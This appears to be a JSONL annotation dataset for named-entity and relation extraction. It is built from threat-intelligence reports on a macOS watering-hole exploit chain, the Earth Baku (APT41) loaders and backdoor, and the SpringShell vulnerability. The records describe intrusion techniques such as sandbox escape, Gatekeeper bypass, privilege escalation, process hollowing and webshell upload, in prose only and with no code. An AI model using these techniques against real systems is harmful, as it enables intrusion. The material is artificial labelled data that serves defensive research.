-{"id":2298,"text":"In late August 2021, TAG discovered watering hole attacks targeting visitors to Hong Kong websites for a media outlet and a prominent pro-democracy labor and political group.","entities":[{"id":45449,"label":"TIME","start_offset":8,"end_offset":19},{"id":45451,"label":"attack-pattern","start_offset":36,"end_offset":49},{"id":45453,"label":"identity","start_offset":134,"end_offset":173},{"id":45452,"label":"location","start_offset":80,"end_offset":90},{"id":45450,"label":"identity","start_offset":21,"end_offset":24}],"relations":[{"id":97,"from_id":45453,"to_id":45451,"type":"targets"},{"id":96,"from_id":45451,"to_id":45452,"type":"targets"}],"Comments":[]}
-{"id":2299,"text":"The watering hole served an XNU privilege escalation vulnerability (CVE-2021-30869) unpatched in macOS Catalina, which led to the installation of a previously unreported backdoor.","entities":[{"id":47364,"label":"vulnerability","start_offset":68,"end_offset":82},{"id":47365,"label":"SOFTWARE","start_offset":97,"end_offset":111},{"id":47366,"label":"vulnerability","start_offset":28,"end_offset":66}],"relations":[{"id":315,"from_id":47365,"to_id":47364,"type":"has"}],"Comments":[]}
-{"id":2300,"text":"As is our policy, we quickly reported this 0-day to the vendor (Apple) and a patch was released to protect users from these attacks.","entities":[{"id":47367,"label":"identity","start_offset":64,"end_offset":69}],"relations":[],"Comments":[]}
-{"id":2301,"text":"Based on our findings, we believe this threat actor to be a well-resourced group, likely state backed, with access to their own software engineering team based on the quality of the payload code.","entities":[],"relations":[],"Comments":[]}
-{"id":2302,"text":"In this blog we analyze the technical details of the exploit chain and share IOCs to help teams defend against similar style attacks.","entities":[],"relations":[],"Comments":[]}
-{"id":2303,"text":" The websites leveraged for the attacks contained two iframes which served exploits from an attacker-controlled server—one for iOS and the other for macOS.","entities":[{"id":47368,"label":"SOFTWARE","start_offset":127,"end_offset":130},{"id":47369,"label":"SOFTWARE","start_offset":149,"end_offset":154}],"relations":[],"Comments":[]}
-{"id":2304,"text":"iOS Exploits","entities":[{"id":45455,"label":"SOFTWARE","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]}
-{"id":2305,"text":"The iOS exploit chain used a framework based on Ironsquirrel to encrypt exploits delivered to the victim's browser.","entities":[{"id":6866,"label":"malware","start_offset":48,"end_offset":60},{"id":47370,"label":"SOFTWARE","start_offset":4,"end_offset":7}],"relations":[],"Comments":[]}
-{"id":2306,"text":"We did not manage to get a complete iOS chain this time, just a partial one where CVE-2019-8506 was used to get code execution in Safari.","entities":[{"id":47373,"label":"SOFTWARE","start_offset":130,"end_offset":136},{"id":47371,"label":"SOFTWARE","start_offset":36,"end_offset":39},{"id":47372,"label":"vulnerability","start_offset":82,"end_offset":95}],"relations":[],"Comments":[]}
-{"id":2307,"text":"macOS Exploits","entities":[{"id":45454,"label":"SOFTWARE","start_offset":0,"end_offset":5}],"relations":[],"Comments":[]}
-{"id":2308,"text":"The macOS exploits did not use the same framework as iOS ones.","entities":[{"id":47374,"label":"SOFTWARE","start_offset":4,"end_offset":9},{"id":47375,"label":"SOFTWARE","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]}
-{"id":2309,"text":"The landing page contained a simple HTML page loading two scripts—one for Capstone.js and another for the exploit chain.","entities":[{"id":47396,"label":"SOFTWARE","start_offset":74,"end_offset":85}],"relations":[],"Comments":[]}
-{"id":2310,"text":"The parameter rid is a global counter which records the number of exploitation attempts.","entities":[],"relations":[],"Comments":[]}
-{"id":2311,"text":"This number was in the 200s when we obtained the exploit chain.","entities":[],"relations":[],"Comments":[]}
-{"id":2312,"text":"While the javascript starting the exploit chain checks whether visitors were running macOS Mojave (10.14) or Catalina (10.15) before proceeding to run the exploits, we only observed remnants of an exploit when visiting the site with Mojave but received the full non-encrypted exploit chain when browsing the site with Catalina.","entities":[{"id":47376,"label":"SOFTWARE","start_offset":85,"end_offset":105},{"id":47377,"label":"SOFTWARE","start_offset":109,"end_offset":125},{"id":47378,"label":"SOFTWARE","start_offset":233,"end_offset":239},{"id":47379,"label":"SOFTWARE","start_offset":318,"end_offset":326}],"relations":[],"Comments":[]}
-{"id":2313,"text":"The exploit chain combined an RCE in WebKit exploiting CVE-2021-1789 which was patched on Jan 5, 2021 before discovery of this campaign and a 0-day local privilege escalation in XNU (CVE-2021-30869) patched on Sept 23, 2021.","entities":[{"id":45456,"label":"vulnerability","start_offset":55,"end_offset":68},{"id":45462,"label":"SOFTWARE","start_offset":178,"end_offset":181},{"id":45460,"label":"TIME","start_offset":210,"end_offset":223},{"id":45461,"label":"attack-pattern","start_offset":148,"end_offset":174},{"id":45457,"label":"SOFTWARE","start_offset":37,"end_offset":43},{"id":45458,"label":"TIME","start_offset":90,"end_offset":101},{"id":45459,"label":"vulnerability","start_offset":183,"end_offset":197}],"relations":[{"id":98,"from_id":45456,"to_id":45457,"type":"has"},{"id":99,"from_id":45459,"to_id":45462,"type":"has"}],"Comments":[]}
-{"id":2314,"text":" Loading a page with the WebKit RCE on the latest version of Safari (14.1), we learned the RCE was an n-day since it did not successfully trigger the exploit.","entities":[{"id":47386,"label":"vulnerability","start_offset":32,"end_offset":35},{"id":47387,"label":"vulnerability","start_offset":91,"end_offset":94},{"id":47383,"label":"SOFTWARE","start_offset":25,"end_offset":31},{"id":47385,"label":"SOFTWARE","start_offset":61,"end_offset":74}],"relations":[],"Comments":[]}
-{"id":2315,"text":"To verify this hypothesis, we ran git bisect and determined it was fixed in this commit.","entities":[],"relations":[],"Comments":[]}
-{"id":2316,"text":"Capstone.js","entities":[{"id":45463,"label":"SOFTWARE","start_offset":0,"end_offset":11}],"relations":[],"Comments":[]}
-{"id":2317,"text":"It was interesting to see the use of Capstone.js, a port of the Capstone disassembly framework, in an exploit chain as Capstone is typically used for binary analysis.","entities":[{"id":47388,"label":"SOFTWARE","start_offset":37,"end_offset":48},{"id":47391,"label":"SOFTWARE","start_offset":119,"end_offset":127},{"id":47390,"label":"SOFTWARE","start_offset":64,"end_offset":94}],"relations":[],"Comments":[]}
-{"id":2318,"text":"The exploit authors primarily used it to search for the addresses of dlopen and dlsym in memory.","entities":[],"relations":[],"Comments":[]}
-{"id":2319,"text":"Once the embedded Mach-O is loaded, the dlopen and dlsym addresses found using Capstone.js are used to patch the Mach-O loaded in memory.","entities":[{"id":47393,"label":"SOFTWARE","start_offset":79,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":2320,"text":"With the Capstone.js configured for X86-64 and not ARM, we can also derive the target hardware is Intel-based Macs.","entities":[{"id":47394,"label":"SOFTWARE","start_offset":9,"end_offset":20}],"relations":[],"Comments":[]}
-{"id":2321,"text":"Embedded Mach-O","entities":[],"relations":[],"Comments":[]}
-{"id":2322,"text":"After the WebKit RCE succeeds, an embedded Mach-O binary is loaded into memory, patched, and run.","entities":[{"id":47397,"label":"SOFTWARE","start_offset":10,"end_offset":16}],"relations":[],"Comments":[]}
-{"id":2323,"text":"Upon analysis, we realized this binary contained code which could escape the Safari sandbox, elevate privileges, and download a second stage from the C2.","entities":[{"id":47398,"label":"SOFTWARE","start_offset":77,"end_offset":83}],"relations":[],"Comments":[]}
-{"id":2324,"text":"Analyzing the Mach-O was reminiscent of a CTF reverse engineering challenge.","entities":[],"relations":[],"Comments":[]}
-{"id":2325,"text":"It had to be extracted and converted into binary from a Uint32Array.","entities":[],"relations":[],"Comments":[]}
-{"id":2326,"text":"Then the extracted binary was heavily obfuscated with a relatively tedious encoding mechanism--each string is XOR encoded with a different key.","entities":[],"relations":[],"Comments":[]}
-{"id":2327,"text":"Fully decoding the Mach-O was necessary to obtain all the strings representing the dynamically loaded functions used in the binary.","entities":[],"relations":[],"Comments":[]}
-{"id":2328,"text":"There were a lot of strings and decoding them manually would have taken a long time so we wrote a short Python script to make quick work of the obfuscation.","entities":[],"relations":[],"Comments":[]}
-{"id":2329,"text":"The script parsed the Mach-O at each section where the strings were located, then decoded the strings with their respective XOR keys, and patched the binary with the resulting strings.","entities":[],"relations":[],"Comments":[]}
-{"id":2330,"text":"Once we had all of the strings decoded, it was time to figure out what capabilities the binary had.","entities":[],"relations":[],"Comments":[]}
-{"id":2331,"text":"There was code to download a file from a C2 but we did not come across any URL strings in the Mach-O so we checked the javascript and saw there were two arguments passed when the binary is run–the url for the payload and its size","entities":[],"relations":[],"Comments":[]}
-{"id":2332,"text":"After downloading the payload, it removes the quarantine attribute of the file to bypass Gatekeeper.","entities":[],"relations":[],"Comments":[]}
-{"id":2333,"text":"It then elevated privileges to install the payload.","entities":[],"relations":[],"Comments":[]}
-{"id":2334,"text":"day or 0-day?","entities":[],"relations":[],"Comments":[]}
-{"id":2335,"text":"Before further analyzing how the exploit elevated privileges, we needed to figure out if we were dealing with an N-day or a 0-day vulnerability.","entities":[],"relations":[],"Comments":[]}
-{"id":2336,"text":"An N-day is a known vulnerability with a publicly available patch.","entities":[],"relations":[],"Comments":[]}
-{"id":2337,"text":"Threat actors have used N-days shortly after a patch is released to capitalize on the patching delay of their targets.","entities":[],"relations":[],"Comments":[]}
-{"id":2338,"text":"In contrast, a 0-day is a vulnerability with no available patch which makes it harder to defend against.","entities":[],"relations":[],"Comments":[]}
-{"id":2339,"text":"Despite the exploit being an executable instead of shellcode, it was not a standalone binary we could run in our virtual environment.","entities":[],"relations":[],"Comments":[]}
-{"id":2340,"text":"It needed the address of dlopen and dlsym patched after the binary was loaded into memory.","entities":[],"relations":[],"Comments":[]}
-{"id":2341,"text":"These two functions are used in conjunction to dynamically load a shared object into memory and retrieve the address of a symbol from it.","entities":[],"relations":[],"Comments":[]}
-{"id":2342,"text":"They are the equivalent of LoadLibrary and GetProcAddress in Windows.","entities":[{"id":47399,"label":"SOFTWARE","start_offset":61,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":2343,"text":"To run the exploit in our virtual environment, we decided to write a loader in Python which did the following:  For our payload, we wrote a simple bash script which runs id and pipes the result to a file in \/tmp.","entities":[],"relations":[],"Comments":[]}
-{"id":2344,"text":"The result of the id command would tell us whether our script was run as a regular user or as root.","entities":[],"relations":[],"Comments":[]}
-{"id":2345,"text":"Having a loader and a payload ready, we set out to test the exploit on a fresh install of Catalina (10.15) since it was the version in which we were served the full exploit chain.","entities":[{"id":47400,"label":"SOFTWARE","start_offset":90,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":2346,"text":"The exploit worked and ran our bash script as root.","entities":[],"relations":[],"Comments":[]}
-{"id":2347,"text":"We updated our operating system with the latest patch at the time (2021-004) and tried the exploit again.","entities":[{"id":47401,"label":"TIME","start_offset":67,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":2348,"text":"It still worked.","entities":[],"relations":[],"Comments":[]}
-{"id":2349,"text":"We then decided to try it on Big Sur (11.4) where it crashed and gave us the following exception.","entities":[{"id":45465,"label":"SOFTWARE","start_offset":29,"end_offset":43}],"relations":[],"Comments":[]}
-{"id":2350,"text":"The exception indicates that Apple added generic protections in Big Sur which rendered this exploit useless.","entities":[{"id":47405,"label":"SOFTWARE","start_offset":64,"end_offset":71},{"id":47404,"label":"identity","start_offset":29,"end_offset":34}],"relations":[],"Comments":[]}
-{"id":2351,"text":"Since Apple still supports Catalina and pushes security updates for it, we decided to take a deeper look into this exploit.","entities":[{"id":47406,"label":"identity","start_offset":6,"end_offset":11},{"id":47407,"label":"SOFTWARE","start_offset":27,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":2352,"text":"Elevating Privileges to Root The Mach-O was calling a lot of undocumented functions as well as XPC calls to mach_msg with a MACH_SEND_SYNC_OVERRIDE flag.","entities":[],"relations":[],"Comments":[]}
-{"id":2353,"text":"This looked similar to an earlier in-the-wild iOS vulnerability analyzed by Ian Beer of Google Project Zero.","entities":[{"id":47408,"label":"SOFTWARE","start_offset":46,"end_offset":49},{"id":47409,"label":"identity","start_offset":88,"end_offset":107},{"id":47410,"label":"identity","start_offset":76,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":2354,"text":"Beer was able to quickly recognize this exploit as a variant of an earlier port type confusion vulnerability he analyzed in the XNU kernel (CVE-2020-27932).","entities":[{"id":47411,"label":"SOFTWARE","start_offset":128,"end_offset":138},{"id":47412,"label":"vulnerability","start_offset":140,"end_offset":154}],"relations":[{"id":318,"from_id":47412,"to_id":47411,"type":"has"}],"Comments":[]}
-{"id":2355,"text":"Furthermore, it seems this exact exploit was presented by Pangu Lab in a public talk at zer0con21 in April 2021 and Mobile Security Conference (MOSEC) in July 2021.","entities":[{"id":45470,"label":"identity","start_offset":58,"end_offset":67},{"id":45468,"label":"identity","start_offset":116,"end_offset":150},{"id":45469,"label":"TIME","start_offset":154,"end_offset":163},{"id":45466,"label":"identity","start_offset":88,"end_offset":97},{"id":45467,"label":"TIME","start_offset":101,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":2356,"text":"In exploiting this port type confusion vulnerability, the exploit authors were able to change the mach port type from IKOT_NAMED_ENTRY to a more privileged port type like IKOT_HOST_SECURITY allowing them to forge their own sec_token and audit_token, and IKOT_HOST_PRIV enabling them to spoof messages to kuncd.  After gaining root, the downloaded payload is loaded and run in the background on the victim's machine via launchtl.","entities":[],"relations":[],"Comments":[]}
-{"id":2357,"text":"The payload seems to be a product of extensive software engineering.","entities":[],"relations":[],"Comments":[]}
-{"id":2358,"text":"It uses a publish-subscribe model via a Data Distribution Service (DDS) framework for communicating with the C2.","entities":[{"id":47413,"label":"SOFTWARE","start_offset":40,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":2359,"text":"It also has several components, some of which appear to be configured as modules.","entities":[],"relations":[],"Comments":[]}
-{"id":2360,"text":"For example, the payload we obtained contained a kernel module for capturing keystrokes.","entities":[],"relations":[],"Comments":[]}
-{"id":2361,"text":"There are also other functionalities built-in to the components which were not directly accessed from the binaries included in the payload but may be used by additional stages which can be downloaded onto the victim's machine.","entities":[],"relations":[],"Comments":[]}
-{"id":2362,"text":"Notable features for this backdoor include:  Our team is constantly working to secure our users and keep them safe from targeted attacks like this one.","entities":[],"relations":[],"Comments":[]}
-{"id":2363,"text":"We continue to collaborate with internal teams like Google Safe Browsing to block domains and IPs used for exploit delivery and industry partners like Apple to mitigate vulnerabilities.","entities":[{"id":47414,"label":"SOFTWARE","start_offset":52,"end_offset":72},{"id":47415,"label":"identity","start_offset":151,"end_offset":156}],"relations":[],"Comments":[]}
-{"id":2364,"text":"We are appreciative of Apple’s quick response and patching of this critical vulnerability.","entities":[{"id":47416,"label":"identity","start_offset":23,"end_offset":28}],"relations":[],"Comments":[]}
-{"id":2365,"text":"For those interested in following our in-the-wild work, we will soon publish details surrounding another, unrelated campaign we discovered using two Chrome 0-days (CVE-2021-37973 and CVE-2021-37976).","entities":[{"id":47418,"label":"vulnerability","start_offset":183,"end_offset":197},{"id":47419,"label":"SOFTWARE","start_offset":149,"end_offset":155},{"id":47417,"label":"vulnerability","start_offset":164,"end_offset":178}],"relations":[{"id":319,"from_id":47419,"to_id":47417,"type":"has"},{"id":320,"from_id":47419,"to_id":47418,"type":"has"}],"Comments":[]}
-{"id":2366,"text":"That campaign is not connected to the one described in today’s post.","entities":[],"relations":[],"Comments":[]}
-{"id":2367,"text":"  Delivery URLs Javascript Sandbox escape \/ LPE Backdoor C2","entities":[],"relations":[],"Comments":[]}
-{"id":2368,"text":"We have uncovered a cyberespionage campaign being perpetrated by Earth Baku, an advanced persistent threat (APT) group with a known history of carrying out cyberattacks under the alias APT41.","entities":[{"id":47423,"label":"threat-actor","start_offset":185,"end_offset":190},{"id":47424,"label":"threat-actor","start_offset":65,"end_offset":75}],"relations":[{"id":321,"from_id":47424,"to_id":47423,"type":"duplicate-of"}],"Comments":[]}
-{"id":2369,"text":"This is not the group’s first foray into cyberespionage, and its long list of past cybercrimes also includes ransomware and cryptocurrency mining attacks.","entities":[],"relations":[],"Comments":[]}
-{"id":2370,"text":"Earth Baku deploys its ongoing campaign, which can be traced to as far back as July 2020, through multiple attack vectors that are designed based on different exploits or the infrastructure of its targeted victim's environment:  • SQL injection to upload a malicious file • Installment through InstallUtil.exe in a scheduled task • Possibly a malicious link (LNK) file sent as an email attachment • Exploitation of the ProxyLogon vulnerability CVE-2021-26855 to upload a China Chopper web shell  This campaign uses previously unidentified shellcode loaders, which we have named StealthVector and StealthMutant, and a backdoor, which we have dubbed ScrambleCross.","entities":[{"id":45480,"label":"threat-actor","start_offset":0,"end_offset":10},{"id":45472,"label":"vulnerability","start_offset":444,"end_offset":458},{"id":45474,"label":"malware","start_offset":578,"end_offset":591},{"id":45475,"label":"malware","start_offset":596,"end_offset":609},{"id":45476,"label":"malware","start_offset":648,"end_offset":661},{"id":45477,"label":"TIME","start_offset":79,"end_offset":88},{"id":45478,"label":"FILEPATH","start_offset":294,"end_offset":309},{"id":45479,"label":"vulnerability","start_offset":419,"end_offset":429},{"id":7033,"label":"attack-pattern","start_offset":231,"end_offset":244},{"id":7034,"label":"attack-pattern","start_offset":315,"end_offset":329},{"id":7036,"label":"malware","start_offset":471,"end_offset":484}],"relations":[{"id":100,"from_id":45479,"to_id":45472,"type":"duplicate-of"},{"id":323,"from_id":45480,"to_id":7033,"type":"uses"},{"id":324,"from_id":45480,"to_id":7034,"type":"uses"}],"Comments":[]}
-{"id":2371,"text":"Earth Baku has developed these new malware tools to facilitate targeted attacks on public and private entities alike in specific industries that are located in the Indo-Pacific region.","entities":[{"id":47426,"label":"threat-actor","start_offset":0,"end_offset":10},{"id":47427,"label":"location","start_offset":164,"end_offset":176}],"relations":[],"Comments":[]}
-{"id":2372,"text":"Thus far, the affected countries include India, Indonesia, Malaysia, the Philippines, Taiwan, and Vietnam.","entities":[{"id":47429,"label":"location","start_offset":48,"end_offset":57},{"id":47428,"label":"location","start_offset":41,"end_offset":46},{"id":47430,"label":"location","start_offset":59,"end_offset":67},{"id":47431,"label":"location","start_offset":73,"end_offset":84},{"id":47432,"label":"location","start_offset":86,"end_offset":92},{"id":47433,"label":"location","start_offset":98,"end_offset":105}],"relations":[],"Comments":[]}
-{"id":2373,"text":"Figure 1.","entities":[],"relations":[],"Comments":[]}
-{"id":2374,"text":"Countries affected by Earth Baku’s new campaign Source: Trend Micro™ Smart Protection Network™ infrastructure StealthVector","entities":[{"id":47434,"label":"threat-actor","start_offset":22,"end_offset":32},{"id":47436,"label":"malware","start_offset":110,"end_offset":123},{"id":47435,"label":"SOFTWARE","start_offset":56,"end_offset":94}],"relations":[],"Comments":[]}
-{"id":2375,"text":"We initially observed StealthVector, a shellcode loader written in C\/C++, in October 2020.","entities":[{"id":47437,"label":"malware","start_offset":22,"end_offset":35},{"id":47438,"label":"TIME","start_offset":77,"end_offset":89}],"relations":[],"Comments":[]}
-{"id":2376,"text":"StealthVector is designed with various configurable features that make it easy for malicious actors to modify and tailor it to their needs, including a feature that disables Event Tracing for Windows (ETW), allowing the malware to run in stealth mode.","entities":[{"id":45481,"label":"malware","start_offset":0,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":2377,"text":"This loader can stealthily run its payload in various ways, such as using the CreateThread function, bypassing Microsoft’s Control Flow Guard (CFG), module stomping, and phantom dynamic link library (DLL) hollowing.","entities":[{"id":47439,"label":"SOFTWARE","start_offset":111,"end_offset":147}],"relations":[],"Comments":[]}
-{"id":2378,"text":"StealthMutant Like StealthVector, StealthMutant, which supports both 32-bit and 64-bit operating systems, can disable ETW.","entities":[{"id":47440,"label":"malware","start_offset":0,"end_offset":13},{"id":47442,"label":"malware","start_offset":34,"end_offset":47},{"id":47441,"label":"malware","start_offset":19,"end_offset":32}],"relations":[],"Comments":[]}
-{"id":2379,"text":"This loader, written in C#, has been used by malicious actors since July 2020.","entities":[{"id":45482,"label":"TIME","start_offset":68,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":2380,"text":"Many of the StealthMutant samples we have analyzed use AES-256-ECB for decryption; alternatively, an earlier variant of the loader uses XOR.","entities":[{"id":47443,"label":"malware","start_offset":12,"end_offset":25}],"relations":[],"Comments":[]}
-{"id":2381,"text":"After its payload is decrypted, StealthMutant performs process hollowing to execute its payload in a remote process.","entities":[{"id":7081,"label":"attack-pattern","start_offset":55,"end_offset":72},{"id":47444,"label":"malware","start_offset":32,"end_offset":45}],"relations":[{"id":325,"from_id":47444,"to_id":7081,"type":"uses"}],"Comments":[]}
-{"id":2382,"text":"ScrambleCross","entities":[{"id":45483,"label":"malware","start_offset":0,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":2383,"text":"Both StealthMutant and StealthVector contain a payload of either the Cobalt Strike beacon or ScrambleCross, a newly discovered backdoor.","entities":[{"id":47445,"label":"malware","start_offset":5,"end_offset":18},{"id":47448,"label":"malware","start_offset":93,"end_offset":106},{"id":47446,"label":"malware","start_offset":23,"end_offset":36},{"id":47447,"label":"tools","start_offset":69,"end_offset":82}],"relations":[{"id":326,"from_id":47446,"to_id":47447,"type":"uses"},{"id":327,"from_id":47446,"to_id":47448,"type":"uses"},{"id":328,"from_id":47445,"to_id":47447,"type":"uses"},{"id":329,"from_id":47445,"to_id":47448,"type":"uses"}],"Comments":[]}
-{"id":2384,"text":"ScrambleCross receives instructions from its command-and-control (C&C) server that allow it to receive and manipulate plug-ins.","entities":[{"id":47449,"label":"malware","start_offset":0,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":2385,"text":"However, we have yet to retrieve and study one of these plug-ins.","entities":[],"relations":[],"Comments":[]}
-{"id":2386,"text":"It has many of the same capabilities as another backdoor, Crosswalk, which has also been used by Earth Baku.","entities":[{"id":47451,"label":"threat-actor","start_offset":97,"end_offset":107},{"id":47450,"label":"malware","start_offset":58,"end_offset":67}],"relations":[{"id":330,"from_id":47451,"to_id":47450,"type":"uses"}],"Comments":[]}
-{"id":2387,"text":"For example, both calculate the hash of the code section as an anti-bugging technique, both are designed as fully position-independent code, and both support various kinds of network communication protocols.","entities":[],"relations":[],"Comments":[]}
-{"id":2388,"text":"Connections to other campaigns Earth Baku’s recent activities are related to another campaign that has been active since at least November 2018, as reported by FireEye and Positive Technologies.","entities":[{"id":45485,"label":"TIME","start_offset":130,"end_offset":143},{"id":45487,"label":"identity","start_offset":172,"end_offset":193},{"id":45486,"label":"identity","start_offset":160,"end_offset":167},{"id":45484,"label":"threat-actor","start_offset":31,"end_offset":41}],"relations":[],"Comments":[]}
-{"id":2389,"text":"While the older campaign uses a different shellcode loader, which we have named LavagokLdr, we have observed similar code and procedures between LavagokLdr and StealthVector.","entities":[{"id":47452,"label":"malware","start_offset":80,"end_offset":90},{"id":47453,"label":"malware","start_offset":145,"end_offset":155},{"id":47454,"label":"malware","start_offset":160,"end_offset":173}],"relations":[],"Comments":[]}
-{"id":2390,"text":"In the same vein, we have observed that LavagokLdr’s payload, Crosswalk, and one of StealthVector’s payloads, ScrambleCross, perform similar techniques for decryption and signature checking.","entities":[{"id":47455,"label":"malware","start_offset":40,"end_offset":50},{"id":47456,"label":"malware","start_offset":62,"end_offset":71},{"id":47458,"label":"malware","start_offset":110,"end_offset":123},{"id":47457,"label":"malware","start_offset":84,"end_offset":98}],"relations":[],"Comments":[]}
-{"id":2391,"text":"But because Earth Baku has updated its toolset with StealthVector, StealthMutant, and ScrambleCross for this new campaign, we have identified it as its own separate operation.","entities":[{"id":45488,"label":"threat-actor","start_offset":12,"end_offset":22},{"id":45490,"label":"malware","start_offset":52,"end_offset":65},{"id":45491,"label":"malware","start_offset":67,"end_offset":80},{"id":45492,"label":"malware","start_offset":86,"end_offset":99}],"relations":[{"id":102,"from_id":45488,"to_id":45491,"type":"uses"},{"id":103,"from_id":45488,"to_id":45492,"type":"uses"},{"id":101,"from_id":45488,"to_id":45490,"type":"uses"}],"Comments":[]}
-{"id":2392,"text":"Figure 2.","entities":[],"relations":[],"Comments":[]}
-{"id":2393,"text":"A timeline of Earth Baku’s previous campaign as APT41 and its new campaign How Earth Baku creates its malware tools Earth Baku is known for its use of self-developed tools.","entities":[{"id":47459,"label":"threat-actor","start_offset":14,"end_offset":24},{"id":47460,"label":"threat-actor","start_offset":48,"end_offset":53},{"id":47461,"label":"threat-actor","start_offset":79,"end_offset":89},{"id":47462,"label":"threat-actor","start_offset":116,"end_offset":126}],"relations":[{"id":331,"from_id":47459,"to_id":47460,"type":"duplicate-of"}],"Comments":[]}
-{"id":2394,"text":"To continue doing so, it appears to be filling its ranks with malicious actors who are pooling their diverse skills.","entities":[],"relations":[],"Comments":[]}
-{"id":2395,"text":"Interestingly, the new malware tools involved in Earth Baku’s new campaign indicates that the APT group has likely recruited members who specialize in low-level programming, software development, and red-team techniques.","entities":[{"id":47463,"label":"threat-actor","start_offset":49,"end_offset":59}],"relations":[],"Comments":[]}
-{"id":2396,"text":"For more details about Earth Baku’s new campaign, read our research paper \"Earth Baku: An APT Group Targeting Indo-Pacific Countries With New Stealth Loaders and Backdoor.\"        Tags  Articles, News, Reports | APT & Targeted Attacks | Research","entities":[{"id":47464,"label":"threat-actor","start_offset":23,"end_offset":34},{"id":47465,"label":"threat-actor","start_offset":75,"end_offset":85},{"id":47466,"label":"location","start_offset":110,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":2397,"text":"This post is also available in:      日本語 (Japanese)  Recently, two vulnerabilities were announced within the Spring Framework, an open-source framework for building enterprise Java applications.","entities":[{"id":47467,"label":"SOFTWARE","start_offset":109,"end_offset":125}],"relations":[],"Comments":[]}
-{"id":2398,"text":"On March 29, 2022, the Spring Cloud Expression Resource Access Vulnerability tracked in CVE-2022-22963 was patched with the release of Spring Cloud Function 3.1.7 and 3.2.3.","entities":[{"id":47468,"label":"TIME","start_offset":3,"end_offset":17},{"id":47470,"label":"vulnerability","start_offset":88,"end_offset":102},{"id":47469,"label":"vulnerability","start_offset":23,"end_offset":76},{"id":47471,"label":"SOFTWARE","start_offset":135,"end_offset":172}],"relations":[{"id":332,"from_id":47471,"to_id":47470,"type":"has"}],"Comments":[]}
-{"id":2399,"text":"Two days later on March 31, 2022, Spring released version 5.3.18 and 5.2.20 of Spring Framework to patch another more severe vulnerability tracked in CVE-2022-22965.","entities":[{"id":47472,"label":"TIME","start_offset":18,"end_offset":32},{"id":47473,"label":"SOFTWARE","start_offset":34,"end_offset":40},{"id":47474,"label":"SOFTWARE","start_offset":79,"end_offset":95},{"id":47475,"label":"vulnerability","start_offset":150,"end_offset":164}],"relations":[{"id":333,"from_id":47474,"to_id":47475,"type":"has"}],"Comments":[]}
-{"id":2400,"text":"The CVE-2022-22965 vulnerability allows an attacker unauthenticated remote code execution (RCE), which Unit 42 has observed being exploited in the wild.","entities":[{"id":45495,"label":"vulnerability","start_offset":4,"end_offset":18},{"id":45496,"label":"attack-pattern","start_offset":52,"end_offset":89},{"id":45497,"label":"identity","start_offset":103,"end_offset":110}],"relations":[{"id":105,"from_id":45496,"to_id":45495,"type":"delivers"}],"Comments":[]}
-{"id":2401,"text":"The exploitation of this vulnerability could result in a webshell being installed onto the compromised server that allows further command execution.","entities":[],"relations":[],"Comments":[]}
-{"id":2402,"text":"Because the Spring Framework is widely used for web system development and the severity of the vulnerability is critical (CVSS score of 9.8), CVE-2022-22965 is given the name SpringShell (and\/or Spring4Shell) by the infosec community.","entities":[{"id":47477,"label":"vulnerability","start_offset":142,"end_offset":156},{"id":47478,"label":"vulnerability","start_offset":175,"end_offset":186},{"id":47476,"label":"SOFTWARE","start_offset":12,"end_offset":28},{"id":47479,"label":"vulnerability","start_offset":195,"end_offset":207}],"relations":[],"Comments":[]}
-{"id":2403,"text":"To understand the impact of this vulnerability, we analyzed all the available information and located the issue in the source code.","entities":[],"relations":[],"Comments":[]}
-{"id":2404,"text":" On April 8, we updated this blog to include statistics on SpringShell exploitation attempts that we identified by analyzing hits on the Spring Core Remote Code Execution Vulnerability threat prevention signature for the Palo Alto Networks Next-Generation Firewall, as well as alerts triggered in Cortex XDR.","entities":[{"id":47484,"label":"SOFTWARE","start_offset":297,"end_offset":307},{"id":47480,"label":"TIME","start_offset":4,"end_offset":11},{"id":47481,"label":"vulnerability","start_offset":59,"end_offset":70},{"id":47482,"label":"vulnerability","start_offset":137,"end_offset":184},{"id":47483,"label":"SOFTWARE","start_offset":221,"end_offset":264}],"relations":[{"id":334,"from_id":47481,"to_id":47482,"type":"related-to"}],"Comments":[]}
-{"id":2405,"text":"We also added a section on indicators.","entities":[],"relations":[],"Comments":[]}
-{"id":2406,"text":" Palo Alto Networks customers receive protections against CVE-2022-22965 and CVE-2022-22963 via products and services including Cortex XDR Prevent and Pro, a Threat Prevention subscription for the Next-Generation Firewall, and Prisma Cloud Compute.","entities":[{"id":45498,"label":"identity","start_offset":1,"end_offset":19},{"id":45499,"label":"vulnerability","start_offset":58,"end_offset":72},{"id":45501,"label":"SOFTWARE","start_offset":128,"end_offset":154},{"id":45502,"label":"SOFTWARE","start_offset":227,"end_offset":247},{"id":45500,"label":"vulnerability","start_offset":77,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":2407,"text":"Affected Software and Versions Background on the Spring Framework Root Cause Analysis for CVE-2022-22965","entities":[{"id":47486,"label":"vulnerability","start_offset":90,"end_offset":104},{"id":47485,"label":"SOFTWARE","start_offset":49,"end_offset":65}],"relations":[{"id":335,"from_id":47485,"to_id":47486,"type":"has"}],"Comments":[]}
-{"id":2408,"text":"Background on Exploitation of the Class Loader Establishing a Reverse Shell Connection to a Remote Server on the Compromised Server SpringShell Exploit Observed in the Wild Conclusion","entities":[{"id":47488,"label":"vulnerability","start_offset":132,"end_offset":143},{"id":47487,"label":"attack-pattern","start_offset":47,"end_offset":86}],"relations":[],"Comments":[]}
